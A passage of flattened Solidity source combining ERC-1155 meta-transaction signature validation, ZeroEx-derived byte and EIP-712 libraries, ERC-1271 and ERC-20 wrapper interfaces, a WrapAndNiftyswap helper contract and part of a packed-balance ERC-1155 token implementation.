(GasReceipt)); _transferGasFee(_owner, gasReceipt); } } /****************************************| | Signature Validation Functions | |_______________________________________*/ // keccak256( // "metaSafeTransferFrom(address,address,uint256,uint256,bool,bytes)" // ); bytes32 internal constant META_TX_TYPEHASH = 0xce0b514b3931bdbe4d5d44e4f035afe7113767b7db71949271f6a62d9c60f558; // keccak256( // "metaSafeBatchTransferFrom(address,address,uint256[],uint256[],bool,bytes)" // ); bytes32 internal constant META_BATCH_TX_TYPEHASH = 0xa3d4926e8cf8fe8e020cd29f514c256bc2eec62aa2337e415f1a33a4828af5a0; // keccak256( // "metaSetApprovalForAll(address,address,bool,bool,bytes)" // ); bytes32 internal constant META_APPROVAL_TYPEHASH = 0xf5d4c820494c8595de274c7ff619bead38aac4fbc3d143b5bf956aa4b84fa524; /** * @notice Verifies signatures for this contract * @param _signer Address of signer * @param _sigData Encodes signature, gas payment receipt and transfer data (if any) * @param _encMembers Encoded EIP-712 type members (except nonce and _data), all need to be 32 bytes size * @dev _data should be encoded as ( * (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType), * (GasReceipt g, ?bytes transferData) * ) * i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array * @dev A valid nonce is a nonce that is within 100 value from the current nonce */ function _signatureValidation( address _signer, bytes memory _sigData, bytes memory _encMembers) internal returns (bytes memory signedData) { bytes memory sig; // Get signature and data to sign (sig, signedData) = abi.decode(_sigData, (bytes, bytes)); // Get current nonce and nonce used for signature uint256 currentNonce = nonces[_signer]; // Lowest valid nonce for signer uint256 nonce = uint256(sig.readBytes32(65)); // Nonce passed in the signature object // Verify if nonce is valid require( (nonce >= currentNonce) && (nonce < (currentNonce + 100)), "ERC1155Meta#_signatureValidation: INVALID_NONCE" ); // Take hash of bytes arrays bytes32 hash = hashEIP712Message(keccak256(abi.encodePacked(_encMembers, nonce, keccak256(signedData)))); // Complete data to pass to signer verifier bytes memory fullData = abi.encodePacked(_encMembers, nonce, signedData); //Update signature nonce nonces[_signer] = nonce + 1; emit NonceChange(_signer, nonce + 1); // Verify if _from is the signer require(isValidSignature(_signer, hash, fullData, sig), "ERC1155Meta#_signatureValidation: INVALID_SIGNATURE"); return signedData; } /** * @notice Returns the current nonce associated with a given address * @param _signer Address to query signature nonce for */ function getNonce(address _signer) public view returns (uint256 nonce) { return nonces[_signer]; } /***********************************| | Gas Reimbursement Functions | |__________________________________*/ /** * @notice Will reimburse tx.origin or fee recipient for the gas spent execution a transaction * Can reimbuse in any ERC-20 or ERC-1155 token * @param _from Address from which the payment will be made from * @param _g GasReceipt object that contains gas reimbursement information */ function _transferGasFee(address _from, GasReceipt memory _g) internal { // Pop last byte to get token fee type uint8 feeTokenTypeRaw = uint8(_g.feeTokenData.popLastByte()); // Ensure valid fee token type require( feeTokenTypeRaw < uint8(FeeTokenType.NTypes), "ERC1155Meta#_transferGasFee: UNSUPPORTED_TOKEN" ); // Convert to FeeTokenType corresponding value FeeTokenType feeTokenType = FeeTokenType(feeTokenTypeRaw); // Declarations address tokenAddress; address feeRecipient; uint256 tokenID; uint256 fee = _g.gasFee; // If receiver is 0x0, then anyone can claim, otherwise, refund addresse provided feeRecipient = _g.feeRecipient == address(0) ? msg.sender : _g.feeRecipient; // Fee token is ERC1155 if (feeTokenType == FeeTokenType.ERC1155) { (tokenAddress, tokenID) = abi.decode(_g.feeTokenData, (address, uint256)); // Fee is paid from this ERC1155 contract if (tokenAddress == address(this)) { _safeTransferFrom(_from, feeRecipient, tokenID, fee); // No need to protect against griefing since recipient (if contract) is most likely owned by the relayer _callonERC1155Received(_from, feeRecipient, tokenID, gasleft(), fee, ""); // Fee is paid from another ERC-1155 contract } else { IERC1155(tokenAddress).safeTransferFrom(_from, feeRecipient, tokenID, fee, ""); } // Fee token is ERC20 } else { tokenAddress = abi.decode(_g.feeTokenData, (address)); require( IERC20(tokenAddress).transferFrom(_from, feeRecipient, fee), "ERC1155Meta#_transferGasFee: ERC20_TRANSFER_FAILED" ); } } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. This is a truncated version of the original LibBytes.sol library from ZeroEx. */ pragma solidity 0.7.4; library LibBytes { using LibBytes for bytes; /***********************************| | Pop Bytes Functions | |__________________________________*/ /** * @dev Pops the last byte off of a byte array by modifying its length. * @param b Byte array that will be modified. * @return result The byte that was popped off. */ function popLastByte(bytes memory b) internal pure returns (bytes1 result) { require( b.length > 0, "LibBytes#popLastByte: GREATER_THAN_ZERO_LENGTH_REQUIRED" ); // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /***********************************| | Read Bytes Functions | |__________________________________*/ /** * @dev Reads a bytes32 value from a position in a byte array. * @param b Byte array containing a bytes32 value. * @param index Index in byte array of bytes32 value. * @return result bytes32 value from byte array. */ function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { require( b.length >= index + 32, "LibBytes#readBytes32: GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED" ); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } } pragma solidity 0.7.4; import "../interfaces/IERC1271Wallet.sol"; import "./LibBytes.sol"; import "./LibEIP712.sol"; /** * @dev Contains logic for signature validation. * Signatures from wallet contracts assume ERC-1271 support (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1271.md) * Notes: Methods are strongly inspired by contracts in https://github.com/0xProject/0x-monorepo/blob/development/ */ contract SignatureValidator is LibEIP712 { using LibBytes for bytes; /***********************************| | Variables | |__________________________________*/ // bytes4(keccak256("isValidSignature(bytes,bytes)")) bytes4 constant internal ERC1271_MAGICVALUE = 0x20c13b0b; // bytes4(keccak256("isValidSignature(bytes32,bytes)")) bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e; // Allowed signature types. enum SignatureType { Illegal, // 0x00, default value EIP712, // 0x01 EthSign, // 0x02 WalletBytes, // 0x03 To call isValidSignature(bytes, bytes) on wallet contract WalletBytes32, // 0x04 To call isValidSignature(bytes32, bytes) on wallet contract NSignatureTypes // 0x05, number of signature types. Always leave at end. } /***********************************| | Signature Functions | |__________________________________*/ /** * @dev Verifies that a hash has been signed by the given signer. * @param _signerAddress Address that should have signed the given hash. * @param _hash Hash of the EIP-712 encoded data * @param _data Full EIP-712 data structure that was hashed and signed * @param _sig Proof that the hash has been signed by signer. * For non wallet signatures, _sig is expected to be an array tightly encoded as * (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType) * @return isValid True if the address recovered from the provided signature matches the input signer address. */ function isValidSignature( address _signerAddress, bytes32 _hash, bytes memory _data, bytes memory _sig ) public view returns (bool isValid) { require( _sig.length > 0, "SignatureValidator#isValidSignature: LENGTH_GREATER_THAN_0_REQUIRED" ); require( _signerAddress != address(0x0), "SignatureValidator#isValidSignature: INVALID_SIGNER" ); // Pop last byte off of signature byte array. uint8 signatureTypeRaw = uint8(_sig.popLastByte()); // Ensure signature is supported require( signatureTypeRaw < uint8(SignatureType.NSignatureTypes), "SignatureValidator#isValidSignature: UNSUPPORTED_SIGNATURE" ); // Extract signature type SignatureType signatureType = SignatureType(signatureTypeRaw); // Variables are not scoped in Solidity. uint8 v; bytes32 r; bytes32 s; address recovered; // Always illegal signature. // This is always an implicit option since a signer can create a // signature array with invalid type or length. We may as well make // it an explicit option. This aids testing and analysis. It is // also the initialization value for the enum type. if (signatureType == SignatureType.Illegal) { revert("SignatureValidator#isValidSignature: ILLEGAL_SIGNATURE"); // Signature using EIP712 } else if (signatureType == SignatureType.EIP712) { require( _sig.length == 97, "SignatureValidator#isValidSignature: LENGTH_97_REQUIRED" ); r = _sig.readBytes32(0); s = _sig.readBytes32(32); v = uint8(_sig[64]); recovered = ecrecover(_hash, v, r, s); isValid = _signerAddress == recovered; return isValid; // Signed using web3.eth_sign() or Ethers wallet.signMessage() } else if (signatureType == SignatureType.EthSign) { require( _sig.length == 97, "SignatureValidator#isValidSignature: LENGTH_97_REQUIRED" ); r = _sig.readBytes32(0); s = _sig.readBytes32(32); v = uint8(_sig[64]); recovered = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), v, r, s ); isValid = _signerAddress == recovered; return isValid; // Signature verified by wallet contract with data validation. } else if (signatureType == SignatureType.WalletBytes) { isValid = ERC1271_MAGICVALUE == IERC1271Wallet(_signerAddress).isValidSignature(_data, _sig); return isValid; // Signature verified by wallet contract without data validation. } else if (signatureType == SignatureType.WalletBytes32) { isValid = ERC1271_MAGICVALUE_BYTES32 == IERC1271Wallet(_signerAddress).isValidSignature(_hash, _sig); return isValid; } // Anything else is illegal (We do not return false because // the signature may actually be valid, just not in a format // that we currently support. In this case returning false // may lead the caller to incorrectly believe that the // signature was invalid.) revert("SignatureValidator#isValidSignature: UNSUPPORTED_SIGNATURE"); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; interface IERC1271Wallet { /** * @notice Verifies whether the provided signature is valid with respect to the provided data * @dev MUST return the correct magic value if the signature provided is valid for the provided data * > The bytes4 magic value to return when signature is valid is 0x20c13b0b : bytes4(keccak256("isValidSignature(bytes,bytes)") * > This function MAY modify Ethereum's state * @param _data Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * @return magicValue Magic value 0x20c13b0b if the signature is valid and 0x0 otherwise * */ function isValidSignature( bytes calldata _data, bytes calldata _signature) external view returns (bytes4 magicValue); /** * @notice Verifies whether the provided signature is valid with respect to the provided hash * @dev MUST return the correct magic value if the signature provided is valid for the provided hash * > The bytes4 magic value to return when signature is valid is 0x20c13b0b : bytes4(keccak256("isValidSignature(bytes,bytes)") * > This function MAY modify Ethereum's state * @param _hash keccak256 hash that was signed * @param _signature Signature byte array associated with _data * @return magicValue Magic value 0x20c13b0b if the signature is valid and 0x0 otherwise */ function isValidSignature( bytes32 _hash, bytes calldata _signature) external view returns (bytes4 magicValue); } /** * Copyright 2018 ZeroEx Intl. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.4; contract LibEIP712 { /***********************************| | Constants | |__________________________________*/ // keccak256( // "EIP712Domain(address verifyingContract)" // ); bytes32 internal constant DOMAIN_SEPARATOR_TYPEHASH = 0x035aff83d86937d35b32e04f0ddc6ff469290eef2f1b692d8a815c89404d4749; // EIP-191 Header string constant internal EIP191_HEADER = "\x19\x01"; /***********************************| | Hashing Function | |__________________________________*/ /** * @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain. * @param hashStruct The EIP712 hash struct. * @return result EIP712 hash applied to this EIP712 Domain. */ function hashEIP712Message(bytes32 hashStruct) internal view returns (bytes32 result) { return keccak256( abi.encodePacked( EIP191_HEADER, keccak256( abi.encode( DOMAIN_SEPARATOR_TYPEHASH, address(this) ) ), hashStruct )); } } pragma solidity 0.7.4; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol"; interface IERC20Wrapper is IERC1155 { /***********************************| | Deposit Functions | |__________________________________*/ /** * Fallback function * @dev Deposit ETH in this contract to receive wrapped ETH */ receive () external payable; /** * @dev Deposit ERC20 tokens or ETH in this contract to receive wrapped ERC20s * @param _token The addess of the token to deposit in this contract * @param _recipient Address that will receive the ERC-1155 tokens * @param _value The amount of token to deposit in this contract * Note: Users must first approve this contract addres on the contract of the ERC20 to be deposited */ function deposit(address _token, address _recipient, uint256 _value) external payable; /***********************************| | Withdraw Functions | |__________________________________*/ /** * @dev Withdraw wrapped ERC20 tokens in this contract to receive the original ERC20s or ETH * @param _token The addess of the token to withdrww from this contract * @param _to The address where the withdrawn tokens will go to * @param _value The amount of tokens to withdraw */ function withdraw(address _token, address payable _to, uint256 _value) external; /***********************************| | Getter Functions | |__________________________________*/ /** * @notice Return the Meta-ERC20 token ID for the given ERC-20 token address * @param _token ERC-20 token address to get the corresponding Meta-ERC20 token ID * @return tokenID Meta-ERC20 token ID */ function getTokenID(address _token) external view returns (uint256 tokenID); /** * @notice Return the ERC-20 token address for the given Meta-ERC20 token ID * @param _id Meta-ERC20 token ID to get the corresponding ERC-20 token address * @return token ERC-20 token address */ function getIdAddress(uint256 _id) external view returns (address token) ; /** * @notice Returns number of tokens currently registered */ function getNTokens() external view; /***********************************| | OnReceive Functions | |__________________________________*/ /** * @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _value The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address payable _from, uint256 _id, uint256 _value, bytes calldata _data ) external returns(bytes4); /** * @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _values An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address payable _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "../interfaces/INiftyswapExchange.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol"; import "@0xsequence/erc20-meta-token/contracts/interfaces/IERC20Wrapper.sol"; /** * @notice Will allow users to wrap their ERC-20 into ERC-1155 tokens * and pass their order to niftyswap. All funds will be returned * to original owner and this contact should never hold any funds * outside of a given wrap transaction. * @dev Hardcoding addresses for simplicity, easy to generalize if arguments * are passed in functions, but adds a bit of complexity. */ contract WrapAndNiftyswap { IERC20Wrapper immutable public tokenWrapper; // ERC-20 to ERC-1155 token wrapper contract address immutable public exchange; // Niftyswap exchange to use address immutable public erc20; // ERC-20 used in niftyswap exchange address immutable public erc1155; // ERC-1155 used in niftyswap exchange uint256 immutable internal wrappedTokenID; // ID of the wrapped token bool internal isInNiftyswap; // Whether niftyswap is being called /** * @notice Registers contract addresses */ constructor( address payable _tokenWrapper, address _exchange, address _erc20, address _erc1155 ) public { require( _tokenWrapper != address(0x0) && _exchange != address(0x0) && _erc20 != address(0x0) && _erc1155 != address(0x0), "INVALID CONSTRUCTOR ARGUMENT" ); tokenWrapper = IERC20Wrapper(_tokenWrapper); exchange = _exchange; erc20 = _erc20; erc1155 = _erc1155; // Approve wrapper contract for ERC-20 // NOTE: This could potentially fail in some extreme usage as it's only // set once, but can easily redeploy this contract if that's the case. IERC20(_erc20).approve(_tokenWrapper, 2**256-1); // Store wrapped token ID wrappedTokenID = IERC20Wrapper(_tokenWrapper).getTokenID(_erc20); } /** * @notice Wrap ERC-20 to ERC-1155 and swap them * @dev User must approve this contract for ERC-20 first * @param _maxAmount Maximum amount of ERC-20 user wants to spend * @param _recipient Address where to send tokens * @param _niftyswapOrder Encoded Niftyswap order passed in data field of safeTransferFrom() */ function wrapAndSwap( uint256 _maxAmount, address _recipient, bytes calldata _niftyswapOrder ) external { // Decode niftyswap order INiftyswapExchange.BuyTokensObj memory obj; (, obj) = abi.decode(_niftyswapOrder, (bytes4, INiftyswapExchange.BuyTokensObj)); // Force the recipient to not be set, otherwise wrapped token refunded will be // sent to the user and we won't be able to unwrap it. require( obj.recipient == address(0x0) || obj.recipient == address(this), "WrapAndNiftyswap#wrapAndSwap: ORDER RECIPIENT MUST BE THIS CONTRACT" ); // Pull ERC-20 amount specified in order IERC20(erc20).transferFrom(msg.sender, address(this), _maxAmount); // Wrap ERC-20s tokenWrapper.deposit(erc20, address(this), _maxAmount); // Swap on Niftyswap isInNiftyswap = true; tokenWrapper.safeTransferFrom(address(this), exchange, wrappedTokenID, _maxAmount, _niftyswapOrder); isInNiftyswap = false; // Unwrap ERC-20 and send to receiver, if any received uint256 wrapped_token_amount = tokenWrapper.balanceOf(address(this), wrappedTokenID); if (wrapped_token_amount > 0) { tokenWrapper.withdraw(erc20, payable(_recipient), wrapped_token_amount); } // Transfer tokens purchased IERC1155(erc1155).safeBatchTransferFrom(address(this), _recipient, obj.tokensBoughtIDs, obj.tokensBoughtAmounts, ""); } /** * @notice Accepts only tokenWrapper tokens * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns(bytes4) { if (msg.sender != address(tokenWrapper)) { revert("WrapAndNiftyswap#onERC1155Received: INVALID_ERC1155_RECEIVED"); } return IERC1155TokenReceiver.onERC1155Received.selector; } /** * @notice If receives tracked ERC-1155, it will send a sell order to niftyswap and unwrap received * wrapped token. The unwrapped tokens will be sent to the sender. * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived( address, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _niftyswapOrder ) external returns(bytes4) { // If coming from niftyswap or wrapped token, ignore if (isInNiftyswap || msg.sender == address(tokenWrapper)){ return IERC1155TokenReceiver.onERC1155BatchReceived.selector; } else if (msg.sender != erc1155) { revert("WrapAndNiftyswap#onERC1155BatchReceived: INVALID_ERC1155_RECEIVED"); } // Decode transfer data INiftyswapExchange.SellTokensObj memory obj; (,obj) = abi.decode(_niftyswapOrder, (bytes4, INiftyswapExchange.SellTokensObj)); require( obj.recipient == address(0x0) || obj.recipient == address(this), "WrapAndNiftyswap#onERC1155BatchReceived: ORDER RECIPIENT MUST BE THIS CONTRACT" ); // Swap on Niftyswap isInNiftyswap = true; IERC1155(msg.sender).safeBatchTransferFrom(address(this), exchange, _ids, _amounts, _niftyswapOrder); isInNiftyswap = false; // Send to recipient the unwrapped ERC-20, if any uint256 wrapped_token_amount = tokenWrapper.balanceOf(address(this), wrappedTokenID); if (wrapped_token_amount > 0) { // Doing it in 2 calls so tx history is more consistent tokenWrapper.withdraw(erc20, payable(address(this)), wrapped_token_amount); IERC20(erc20).transfer(_from, wrapped_token_amount); } return IERC1155TokenReceiver.onERC1155BatchReceived.selector; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "../../utils/SafeMath.sol"; import "../../interfaces/IERC1155TokenReceiver.sol"; import "../../interfaces/IERC1155.sol"; import "../../utils/Address.sol"; import "../../utils/ERC165.sol"; /** * @dev Implementation of Multi-Token Standard contract. This implementation of the ERC-1155 standard * utilizes the fact that balances of different token ids can be concatenated within individual * uint256 storage slots. This allows the contract to batch transfer tokens more efficiently at * the cost of limiting the maximum token balance each address can hold. This limit is * 2^IDS_BITS_SIZE, which can be adjusted below. In practice, using IDS_BITS_SIZE smaller than 16 * did not lead to major efficiency gains. */ contract ERC1155PackedBalance is IERC1155, ERC165 { using SafeMath for uint256; using Address for address; /***********************************| | Variables and Events | |__________________________________*/ // onReceive function signatures bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61; bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81; // Constants regarding bin sizes for balance packing // IDS_BITS_SIZE **MUST** be a power of 2 (e.g. 2, 4, 8, 16, 32, 64, 128) uint256 internal constant IDS_BITS_SIZE = 32; // Max balance amount in bits per token ID uint256 internal constant IDS_PER_UINT256 = 256 / IDS_BITS_SIZE; // Number of ids per uint256 // Operations for _updateIDBalance enum Operations { Add, Sub } // Token IDs balances ; balances[address][id] => balance (using array instead of mapping for efficiency) mapping (address => mapping(uint256 => uint256)) internal balances; // Operators mapping (address => mapping(address => bool)) internal operators; /***********************************| | Public Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { // Requirements require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155PackedBalance#safeTransferFrom: INVALID_OPERATOR"); require(_to != address(0),"ERC1155PackedBalance#safeTransferFrom: INVALID_RECIPIENT"); // require(_amount <= balances); Not necessary since checked with _viewUpdateBinValue() checks _safeTransferFrom(_from, _to, _id, _amount); _callonERC1155Received(_from, _to, _id, _amount, gasleft(), _data); } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @dev Arrays should be sorted so that all ids in a same storage slot are adjacent (more efficient) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) public override { // Requirements require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155PackedBalance#safeBatchTransferFrom: INVALID_OPERATOR"); require(_to != address(0),"ERC1155PackedBalance#safeBatchTransferFrom: INVALID_RECIPIENT"); _safeBatchTransferFrom(_from, _to, _ids, _amounts); _callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), _data); } /***********************************| | Internal Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount */ function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount) internal { //Update balances _updateIDBalance(_from, _id, _amount, Operations.Sub); // Subtract amount from sender _updateIDBalance(_to, _id, _amount, Operations.Add); // Add amount to recipient // Emit event emit TransferSingle(msg.sender, _from, _to, _id, _amount); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...) */ function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, uint256 _gasLimit, bytes memory _data) internal { // Check if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received{gas:_gasLimit}(msg.sender, _from, _id, _amount, _data); require(retval == ERC1155_RECEIVED_VALUE, "ERC1155PackedBalance#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE"); } } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @dev Arrays should be sorted so that all ids in a same storage slot are adjacent (more efficient) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type */ function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts) internal { uint256 nTransfer = _ids.length; // Number of transfer to execute require(nTransfer == _amounts.length, "ERC1155PackedBalance#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH"); if (_from != _to && nTransfer > 0) { // Load first bin and index where the token ID balance exists (uint256 bin, uint256 index) = getIDBinIndex(_ids[0]); // Balance for current bin in memory (initialized with first transfer) uint256 balFrom = _viewUpdateBinValue(balances[_from][bin], index, _amounts[0], Operations.Sub); uint256 balTo = _viewUpdateBinValue(balances[_to][bin], index, _amounts[0], Operations.Add); // Last bin updated uint256 lastBin = bin; for (uint256 i = 1; i < nTransfer; i++) { (bin, index) = getIDBinIndex(_ids[i]); // If new bin if (bin != lastBin) { // Update storage balance of previous bin balances[_from][lastBin] = balFrom; balances[_to][lastBin] = balTo; balFrom = balances[_from][bin]; balTo = balances[_to][bin]; // Bin will be the most recent bin lastBin = bin; } // Update memory balance balFrom = _viewUpdateBinValue(balFrom, index, _amounts[i], Operations.Sub); balTo = _viewUpdateBinValue(balTo, index, _amounts[i], Operations.Add); } // Update storage of the last bin visited balances[_from][bin] = balFrom; balances[_to][bin] = balTo; // If transfer to self, just make sure all amounts are valid } else { for (uint256 i = 0; i < nTransfer; i++) { require(balanceOf(_from, _ids[i]) >= _amounts[i], "ERC1155PackedBalance#_safeBatchTransferFrom: UNDERFLOW"); } } // Emit event emit TransferBatch(msg.sender, _from, _to, _ids, _amounts); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...) */ function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, uint256 _gasLimit, bytes memory _data) internal { // Pass data if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived{gas: _gasLimit}(msg.sender, _from, _ids, _amounts, _data); require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155PackedBalance#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE"); } } /***********************************| | Operator Functions | |__________________________________*/ /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external override { // Update operator status operators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return isOperator True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) public override view returns (bool isOperator) { return operators[_owner][_operator]; } /***********************************| | Public Balance Functions | |__________________________________*/ /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) public override view returns (uint256) { uint256 bin; uint256 index; //Get bin and index of _id (bin, index) = getIDBinIndex(_id); return getValueInBin(balances[_owner][bin], index); } /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders (sorted owners will lead to less gas usage) * @param _ids ID of the Tokens (sorted ids will lead to less gas usage * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] memory _owners, uint256[] memory _ids) public override view returns (uint256[] memory) { uint256 n_owners = _owners.length; require(n_owners == _ids.length, "ERC1155PackedBalance#balanceOfBatch: INVALID_ARRAY_LENGTH"); // First values (uint256 bin, uint256 index) = getIDBinIndex(_ids[0]); uint256 balance_bin = balances[_owners[0]][bin]; uint256 last_bin = bin; // Initialization uint256[] memory batchBalances = new uint256[](n_owners); batchBalances[0] = getValueInBin(balance_bin, index); // Iterate over each owner and token ID for (uint256 i = 1; i < n_owners; i++) { (bin, index) = getIDBinIndex(_ids[i]); // SLOAD if bin changed for the same owner or if owner changed if (bin != last_bin || _owners[i-1] != _owners[i]) { balance_bin = balances[_owners[i]][bin]; last_bin = bin; } batchBalances[i] = getValueInBin(balance_bin, index); } return batchBalances; } /***********************************| | Packed Balance Functions | |__________________________________*/ /** * @notice Update the balance of a id for a given address * @param _address Address to update id balance * @param _id Id to update balance of * @param _amount Amount to update the id balance * @param _operation Which operation to conduct : * Operations.Add: Add _amount to id balance * Operations.Sub: Substract _amount from id balance */ function _updateIDBalance(address _address, uint256 _id, uint256 _amount, Operations _operation) internal { uint256 bin; uint256 index; // Get bin and index of _id (bin, index) = getIDBinIndex(_id); // Update balance balances[_address][bin] = _viewUpdateBinValue(balances[_address][bin], index, _amount, _operation); } /** * @notice Update a value in _binValues * @param _binValues Uint256 containing values of size IDS_BITS_SIZE (the token balances) * @param _index Index of the value in the provided bin * @param _amount Amount to update the id balance * @param _operation Which operation to conduct : * Operations.Add: Add _amount to value in _binValues at _index * Operations.Sub: Substract _amount from value in _binValues at _index */ function _viewUpdateBinValue(uint256 _binValues, uint256 _index, uint256 _amount, Operations _operation) internal pure returns (uint256 newBinValues) { uint256 shift = IDS_BITS_SIZE * _index; uint256 mask = (uint256(1) << IDS_BITS_SIZE) - 1; if (_operation == Operations.Add) { newBinValues = _binValues + (_amount << shift); require(newBinValues >= _binValues, "ERC1155PackedBalance#_viewUpdateBinValue: OVERFLOW"); require( ((_binValues >> shift) & mask) + _amount < 2**IDS_BITS_SIZE, // Checks that no other id changed "ERC1155PackedBalance#_viewUpdateBinValue: OVERFLOW" ); } else if (_operation == Operations.Sub) { newBinValues = _binValues - (_amount << shift); require(newBinValues <= _binValues, "ERC1155PackedBalance#_viewUpdateBinValue: UNDERFLOW"); require( ((_binValues >> shift) & mask) >= _amount, // Checks that no other id changed "ERC1155PackedBalance#_viewUpdateBinValue: UNDERFLOW" ); } else { revert("ERC1155PackedBalance#_viewUpdateBinValue: INVALID_BIN_WRITE_OPERATION"); // Bad operation } return newBinValues; } /** * @notice Return the bin number and index within that bin where ID is * @param _id Token id * @return bin index (Bin number, ID"s index within that bin) */ function getIDBinIndex(uint256 _id) public pure returns (uint256 bin, uint256 index) { bin = _id / IDS_PER_UINT256; index = _id % IDS_PER_UINT256; return (bin, index); } /** * @notice Return amount in _binValues at position _index * @param _binValues uint256 containing the balances of IDS_PER_UINT256 ids * @param _index Index at which to retrieve amount * @return amount at given _index in _bin */ function getValueInBin(uint256 _binValues, uint256 _index) public pure returns (uint256) { // require(_index < IDS_PER_UINT256) is not required since getIDBinIndex ensures `_index < IDS_PER_UINT256` // Mask to retrieve data for a given binData uint256 mask = (uint256(1) << IDS_BITS_SIZE) - 1; // Shift amount uint256 rightShift = IDS_BITS_SIZE * _index; return (_binValues >> rightShift) 